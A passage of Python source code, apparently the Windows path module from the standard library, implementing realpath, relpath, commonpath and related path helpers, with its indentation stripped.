# 87: ERROR_INVALID_PARAMETER
# 123: ERROR_INVALID_NAME
# 161: ERROR_BAD_PATHNAME
# 1920: ERROR_CANT_ACCESS_FILE
# 1921: ERROR_CANT_RESOLVE_FILENAME (implies unfollowable symlink)
allowed_winerror = 1, 2, 3, 5, 21, 32, 50, 53, 65, 67, 87, 123, 161, 1920, 1921
# Non-strict algorithm is to find as much of the target directory
# as we can and join the rest.
tail = path[:0]
while path:
try:
path = _getfinalpathname(path)
return join(path, tail) if tail else path
except ignored_error as ex:
if ex.winerror not in allowed_winerror:
raise
try:
# The OS could not resolve this path fully, so we attempt
# to follow the link ourselves. If we succeed, join the tail
# and return.
new_path = _readlink_deep(path,
ignored_error=ignored_error)
if new_path != path:
return join(new_path, tail) if tail else new_path
except ignored_error:
# If we fail to readlink(), let's keep traversing
pass
path, name = split(path)
# TODO (bpo-38186): Request the real file name from the directory
# entry using FindFirstFileW. For now, we will return the path
# as best we have it
if path and not name:
return path + tail
tail = join(name, tail) if tail else name
return tail
def realpath(path, *, strict=False):
path = normpath(path)
if isinstance(path, bytes):
prefix = b'\\\\?\\'
unc_prefix = b'\\\\?\\UNC\\'
new_unc_prefix = b'\\\\'
cwd = os.getcwdb()
# bpo-38081: Special case for realpath(b'nul')
if normcase(path) == normcase(os.fsencode(devnull)):
return b'\\\\.\\NUL'
else:
prefix = '\\\\?\\'
unc_prefix = '\\\\?\\UNC\\'
new_unc_prefix = '\\\\'
cwd = os.getcwd()
# bpo-38081: Special case for realpath('nul')
if normcase(path) == normcase(devnull):
return '\\\\.\\NUL'
had_prefix = path.startswith(prefix)
if strict is ALLOW_MISSING:
ignored_error = FileNotFoundError
strict = True
elif strict:
ignored_error = ()
else:
ignored_error = OSError
if not had_prefix and not isabs(path):
path = join(cwd, path)
try:
path = _getfinalpathname(path)
initial_winerror = 0
except ValueError as ex:
# gh-106242: Raised for embedded null characters
# In strict modes, we convert into an OSError.
# Non-strict mode returns the path as-is, since we've already
# made it absolute.
if strict:
raise OSError(str(ex)) from None
path = normpath(path)
except ignored_error as ex:
initial_winerror = ex.winerror
path = _getfinalpathname_nonstrict(path,
ignored_error=ignored_error)
# The path returned by _getfinalpathname will always start with \\?\ -
# strip off that prefix unless it was already provided on the original
# path.
if not had_prefix and path.startswith(prefix):
# For UNC paths, the prefix will actually be \\?\UNC\
# Handle that case as well.
if path.startswith(unc_prefix):
spath = new_unc_prefix + path[len(unc_prefix):]
else:
spath = path[len(prefix):]
# Ensure that the non-prefixed path resolves to the same path
try:
if _getfinalpathname(spath) == path:
path = spath
except ValueError as ex:
# Unexpected, as an invalid path should not have gained a prefix
# at any point, but we ignore this error just in case.
pass
except OSError as ex:
# If the path does not exist and originally did not exist, then
# strip the prefix anyway.
if ex.winerror == initial_winerror:
path = spath
return path
# All supported version have Unicode filename support.
supports_unicode_filenames = True
def relpath(path, start=None):
"""Return a relative version of a path"""
path = os.fspath(path)
if isinstance(path, bytes):
sep = b'\\'
curdir = b'.'
pardir = b'..'
else:
sep = '\\'
curdir = '.'
pardir = '..'
if start is None:
start = curdir
if not path:
raise ValueError("no path specified")
start = os.fspath(start)
try:
start_abs = abspath(normpath(start))
path_abs = abspath(normpath(path))
start_drive, _, start_rest = splitroot(start_abs)
path_drive, _, path_rest = splitroot(path_abs)
if normcase(start_drive) != normcase(path_drive):
raise ValueError("path is on mount %r, start on mount %r" % (
path_drive, start_drive))
start_list = [x for x in start_rest.split(sep) if x]
path_list = [x for x in path_rest.split(sep) if x]
# Work out how much of the filepath is shared by start and path.
i = 0
for e1, e2 in zip(start_list, path_list):
if normcase(e1) != normcase(e2):
break
i += 1
rel_list = [pardir] * (len(start_list)-i) + path_list[i:]
if not rel_list:
return curdir
return join(*rel_list)
except (TypeError, ValueError, AttributeError, BytesWarning, DeprecationWarning):
genericpath._check_arg_types('relpath', path, start)
raise
# Return the longest common sub-path of the sequence of paths given as input.
# The function is case-insensitive and 'separator-insensitive', i.e. if the
# only difference between two paths is the use of '\' versus '/' as separator,
# they are deemed to be equal.
#
# However, the returned path will have the standard '\' separator (even if the
# given paths had the alternative '/' separator) and will have the case of the
# first path given in the sequence. Additionally, any trailing separator is
# stripped from the returned path.
def commonpath(paths):
"""Given a sequence of path names, returns the longest common sub-path."""
if not paths:
raise ValueError('commonpath() arg is an empty sequence')
paths = tuple(map(os.fspath, paths))
if isinstance(paths[0], bytes):
sep = b'\\'
altsep = b'/'
curdir = b'.'
else:
sep = '\\'
altsep = '/'
curdir = '.'
try:
drivesplits = [splitroot(p.replace(altsep, sep).lower()) for p in paths]
split_paths = [p.split(sep) for d, r, p in drivesplits]
if len({r for d, r, p in drivesplits}) != 1:
raise ValueError("Can't mix absolute and relative paths")
# Check that all drive letters or UNC paths match. The check is made only
# now otherwise type errors for mixing strings and bytes would not be
# caught.
if len({d for d, r, p in drivesplits}) != 1:
raise ValueError("Paths don't have the same drive")
drive, root, path = splitroot(paths[0].replace(altsep, sep))
common = path.split(sep)
common = [c for c in common if c and c != curdir]
split_paths = [[c for c in s if c and c != curdir] for s in split_paths]
s1 = min(split_paths)
s2 = max(split_paths)
for i, c in enumerate(s1):
if c != s2[i]:
common = common[:i]
break
else:
common = common[:len(s1)]
return drive + root + sep.join(common)
except (TypeError, AttributeError):
genericpath._check_arg_types('commonpath', *paths)
raise
try:
# The isdir(), isfile(), islink() and exists() implementations in
# genericpath use os.stat(). This is overkill on Windows. Use simpler
# builtin functions if they are available.
from nt import _path_isdir as isdir
from nt import _path_isfile as isfile
from nt import _path_islink as islink
from nt import _path_exists as exists
except ImportError:
# Use genericpath.* as imported above
pass
try:
from nt import _path_isdevdrive
except ImportError:
def isdevdrive(path):
"""Determines whether the specified path is on a Windows Dev Drive."""
# Never a Dev Drive
return False
else:
def isdevdrive(path):
"""Determines whether the specified path is on a Windows Dev Drive."""
try:
return _path_isdevdrive(abspath(path))
except OSError:
return False